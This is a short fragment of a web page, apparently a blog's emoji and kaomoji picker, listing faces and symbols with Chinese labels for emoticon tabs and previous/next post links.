>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇